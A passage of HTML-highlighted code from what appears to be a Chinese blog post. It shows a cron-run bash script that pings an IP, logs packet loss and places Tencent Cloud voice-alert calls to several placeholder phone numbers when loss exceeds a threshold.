&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Accept: application/json&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Content-Type:application/json&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;@&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;tpl_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VOICE_TMP_ID&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;params&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;$1&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;$2&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;playtimes&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;sig&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;$&lt;/span&gt;&lt;span class="si"&gt;{sig}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;tel&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;mobile&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;$&lt;/span&gt;&lt;span class="si"&gt;{strMobile}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;nationcode&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;86&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;strTime&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第一个参数为 ping的ip&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第二个参数为 失败切换的网卡名字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;do_check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;change_dev&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;`date &amp;#34;&lt;/span&gt;&lt;span class="o"&gt;+%&lt;/span&gt;&lt;span class="n"&gt;Y&lt;/span&gt;&lt;span class="o"&gt;-%&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;-%&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;`&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;ping&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;packet loss&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;awk&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="sa"&gt;F&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;packet loss&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;{ print $1 }&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;awk&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;{ print $NF }&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sed&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;s/%//g&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;eq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# 等于0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;network_ok 【$&lt;/span&gt;&lt;span class="si"&gt;{ip}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{date}&lt;/span&gt;&lt;span class="s2"&gt;】 &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ge&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;GE_RATE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# 大于等于10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;network_error loss 【$&lt;/span&gt;&lt;span class="si"&gt;{lost_rate}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{date}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{ip}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;】&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# ip route change ${ip} dev ${change_dev}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;call_phone&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ALERT_PHONE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;network_check loss 【$&lt;/span&gt;&lt;span class="si"&gt;{lost_rate}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{date}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{ip}&lt;/span&gt;&lt;span class="s2"&gt;】 &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;IP_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;10.3.3.2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#IP_ARRAY[1]=&amp;#34;10.3.3.2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CHANGE_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;wg1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#CHANGE_ARRAY[1]=&amp;#34;wg2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;${!IP_ARRAY[@]}&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;check_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;IP_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;change_dev&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CHANGE_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;check ip $&lt;/span&gt;&lt;span class="si"&gt;{check_ip}&lt;/span&gt;&lt;span class="s2"&gt; change_dev $&lt;/span&gt;&lt;span class="si"&gt;{change_dev}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;do_check&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;check_ip&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;change_dev&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="2019年1月7日更新-增加多用户报警"&gt;2019年1月7日更新 增加多用户报警&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;span class="lnt"&gt;70
&lt;/span&gt;&lt;span class="lnt"&gt;71
&lt;/span&gt;&lt;span class="lnt"&gt;72
&lt;/span&gt;&lt;span class="lnt"&gt;73
&lt;/span&gt;&lt;span class="lnt"&gt;74
&lt;/span&gt;&lt;span class="lnt"&gt;75
&lt;/span&gt;&lt;span class="lnt"&gt;76
&lt;/span&gt;&lt;span class="lnt"&gt;77
&lt;/span&gt;&lt;span class="lnt"&gt;78
&lt;/span&gt;&lt;span class="lnt"&gt;79
&lt;/span&gt;&lt;span class="lnt"&gt;80
&lt;/span&gt;&lt;span class="lnt"&gt;81
&lt;/span&gt;&lt;span class="lnt"&gt;82
&lt;/span&gt;&lt;span class="lnt"&gt;83
&lt;/span&gt;&lt;span class="lnt"&gt;84
&lt;/span&gt;&lt;span class="lnt"&gt;85
&lt;/span&gt;&lt;span class="lnt"&gt;86
&lt;/span&gt;&lt;span class="lnt"&gt;87
&lt;/span&gt;&lt;span class="lnt"&gt;88
&lt;/span&gt;&lt;span class="lnt"&gt;89
&lt;/span&gt;&lt;span class="lnt"&gt;90
&lt;/span&gt;&lt;span class="lnt"&gt;91
&lt;/span&gt;&lt;span class="lnt"&gt;92
&lt;/span&gt;&lt;span class="lnt"&gt;93
&lt;/span&gt;&lt;span class="lnt"&gt;94
&lt;/span&gt;&lt;span class="lnt"&gt;95
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# /root/check/check.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# */5 * * * * /bin/bash /root/check/check.sh &amp;gt;&amp;gt; /dev/null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;check_ip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 腾讯云语音appid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SDKAPPID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;12345678&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# appkey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;strAppKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;abcdefghdawdawd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 语音模板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;VOICE_TMP_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;66666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 通知的手机号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ALERT_PHONE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16688868686&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ALERT_PHONE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;13333333333&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 触发阈值 大于这个就会打电话报警&lt;/span&gt;
